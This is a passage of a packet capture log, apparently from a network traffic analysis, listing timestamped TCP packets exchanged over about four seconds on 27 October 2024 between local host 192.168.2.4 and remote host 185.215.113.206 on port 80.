Oct 27, 2024 12:13:11.046179056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:11.080358028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:11.086082935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:11.375125885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:11.375231028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:11.376821995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:11.382766962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:11.662220001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:11.662285089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:11.662319899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:11.662431955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:11.663830042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:11.669579029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:11.948470116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:11.948530912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:11.948570013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:11.948606014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:11.948642015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:11.948672056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:11.948682070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:11.948748112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:11.948762894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:11.948836088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:11.948889971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:11.948983908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:11.949162006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:11.951422930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:11.956923008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:12.234390974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:12.234483004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:12.256719112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:12.256772041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:12.262233973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:12.262244940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:12.262279987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:12.262309074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:12.262384892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:12.262413979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:13.057262897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:13.057333946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:13.949548960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:13.955168962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.231540918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.231596947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.231637955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.231673956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.231710911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.231754065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.231770992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.231770992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.231770992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.231770992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.231981993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.232461929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.232501030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.232536077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.232572079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.232794046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.233409882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.233500004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.233546019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.233613968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.389733076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.389787912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.389825106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.389859915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.389895916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.389944077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.389981985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.389981031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.389981031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.389981031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.389981031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.390018940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.390028000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.390034914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.390072107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.390084982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.390121937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.390209913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.390268087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.391097069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.391149998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.391164064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.391190052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.391204119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.391230106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.391241074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.391280890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.391665936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.391721964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.391767979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.391803980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.391819954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.391851902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.391906977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.391957998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.506934881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.506989002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.507025957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.507067919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.507102966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.507159948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.507179976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.547739029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.547794104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.547831059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.547861099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.547890902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.547915936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.547929049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.547962904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.547991037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.547998905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.548021078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.548036098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.548062086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.548122883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.549184084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.549237013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.549248934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.549278021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.549284935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.549333096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.549343109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.549400091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.549989939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.550044060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.550066948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.550082922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.550096989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.550139904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.623904943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.623956919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.623992920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.624017954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.624049902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.624056101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.624111891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.624118090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.624171972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.664721012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.664773941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.664810896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.664823055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.664843082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.664859056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.664868116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.664907932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.664917946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.664947987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.664963007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.664983988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.665000916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.665028095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.665108919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.665158987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.665947914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.666003942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.666017056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.666043043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.666054010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.666081905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.666148901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.666587114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.666646004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.666646957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.666676998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.666696072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.666723013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.741451979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.741508007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.741528988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.741547108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.741565943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.741586924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.741821051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.781872034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.781922102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.781969070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.782006025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.782041073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.782077074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.782114029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.782161951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.782161951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.782176018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.782505989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.782563925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.782594919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.782706976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.783086061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.783154011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.783159971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.783200026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.783221960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.783238888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.783261061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.783278942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.783291101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.783329964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.784010887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.784085989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.858200073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.858274937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.858313084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.858347893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.858386040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.858419895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.858458042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.858652115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.858652115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.898941040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.898988962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.899029970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.899065971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.899102926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.899139881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.899141073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.899141073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.899158001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.899158001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.899223089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.899260998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.899286032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.899337053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.899552107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.899589062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.899616003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.899622917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.899647951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.899673939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.899878979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.899945021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.899960041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.899993896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.900011063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.900044918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.900574923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.900640965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.900649071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.900696993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.900702953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.900718927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.900732040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.900752068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.900784016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.975563049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.975635052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.975673914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.975707054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.975743055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.975778103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.975816011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:14.975879908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.975879908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.975879908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:14.975914001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.016099930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.016146898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.016206026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.016242027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.016278028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.016305923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.016331911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.016343117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.016381025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.016396999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.016419888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.016443968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.016474962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.016827106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.016892910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.016928911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.017056942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.017285109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.017349005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.017366886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.017412901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.017456055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.017514944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.017519951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.017558098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.017581940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.017613888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.017673969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.017709970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.017738104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.017764091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.092924118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.092978001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.092998028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.093017101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.093034983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.093055964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.093244076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.133335114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.133383036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.133451939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.133511066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.133546114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.133583069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.133616924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.133655071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.133656025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.133656025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.133656025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.133656025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.133676052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.133714914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.133749962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.133805037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.133840084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.133956909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.133991957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.134006023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.134067059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.134608984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.134684086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.134722948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.134757042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.134795904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.134795904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.134846926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.135402918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.135458946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.135476112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.135503054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.135525942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.135555029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.209907055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.209960938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.209999084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.210030079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.210033894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.210059881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.210073948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.210098028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.210105896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.210129976 CET	49730	80	192.168.2.4	185.215.113.206
